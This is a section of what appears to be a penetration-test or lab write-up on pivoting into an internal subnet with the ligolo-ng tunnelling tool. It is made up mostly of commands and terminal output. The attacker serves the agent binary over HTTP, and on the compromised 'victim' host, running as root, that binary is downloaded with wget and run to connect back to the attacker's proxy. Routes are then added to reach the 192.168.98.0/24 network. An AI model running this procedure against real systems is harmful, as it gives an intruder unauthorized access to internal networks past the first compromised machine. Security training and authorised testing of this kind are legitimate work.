4. Pivoting

a) Attacker Machine Setup: (Nigolo-Proxy/Server)

a.1) Download agent & proxy on attacker machine

I. Proxy / Server:

`#wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz` `#tar` -xvzf ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz ``#chmod +x proxy

II. Agent / Client:

`#wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz` `#tar` -xvzf ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz ``#chmod +x agent

a.2) Setup the ligolo-ng proxy in the attacker machine & ligolo-ng in the victim machine.

`# sudo ip tuntap add user $(whoami) mode tun ligolo` # sudo ip route del 192.168.98.0/24 dev tun0

`# sudo ip link set ligolo up` # sudo ip route add 192.168.98.0/24 dev ligolo

``# ./proxy -selfcert -laddr 0.0.0.0:443

Confirm the route on your attacker machine. The internal IP range is now added in the route.


```
ip route
default via 10.0.2.2 dev eth0 proto dhcp src 10.0.2.15 metric 100
10.0.2.0/24 dev eth0 proto kernel scope link src 10.0.2.15 metric 100
10.10.200.0/24 dev tun0 proto kernel scope link src 10.10.200.225
192.168.80.0/24 via 10.10.200.1 dev tun0
192.168.98.0/24 dev ligolo scope link
```

b) Victim Machine Setup: (Nigolo-Agent/Client)

b.1) Attacker Machine:

`#cd /home/kali/Desktop`   `#python3` -m http.server 8899

b.2) Victim Machine:

`#wget http://10.10.200.225:8899/agent`   # ./agent -connect 10.10.200.225:443 -ignore-cert

```
root@ubuntu-virtual-machine:/home/privilege/.mozilla/firefox/b2rri1qd.default-release# wget http://10.10.200.225:8899/agent
--2025-08-24 00:55:30--  http://10.10.200.225:8899/agent
Connecting to 10.10.200.225:8899 ... connected.
HTTP request sent, awaiting response ... 200 OK
Length: 4501504 (4.3M) [application/octet-stream]
Saving to: 'agent.1'

agent.1                    100%[==================================>]   4.29M   282KB/s    in 48s

2025-08-24 00:56:18 (91.6 KB/s) - 'agent.1' saved [4501504/4501504]

root@ubuntu-virtual-machine:/home/privilege/.mozilla/firefox/b2rri1qd.default-release# ./agent -connect 10.10.200.225:443 -ignore-cert
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established                  addr="10.10.200.225:443"
```

--> Connection received between attacker machine & 192.168.98.0/24 subnet.

b.3) Attacker Machine:


```
┌──(root㉿Attacker)-[/home/kali/Desktop]
└─# ./proxy -selfcert -laddr 0.0.0.0:443
WARN[0000] Using automatically generated self-signed certificates (Not recommended)
INFO[0000] Listening on 0.0.0.0:443


       _ _             _                         
      | (_)           | |                        
      | |_  __ _  ___ | | ___ _____ _ __   __ _ 
      | | |/ _` |/ _ \| |/ _ _____| '_ \ / _` |
      | | | (_| | (_) | | (_) |     | | | | (_| |
      |_|_|\__, |\___/|_|\___/      |_| |_|\__, |
            __/ |                           __/ |
           |___/                           |___/ 

Made in France ♥ by @Nicocha30!

ligolo-ng » INFO[0401] Agent joined.                    name=root@ubuntu-virtual-machine remote="192.168.80.10:57986"
```

On the ligolo-ng proxy, check the session & start the tunnel.

```
>>>session
>>>list_tunnels
>>>start
```

Now fire up a new terminal & check that we can now access the internal IP range
192.168.98.0/24

``#ping 192.168.98.15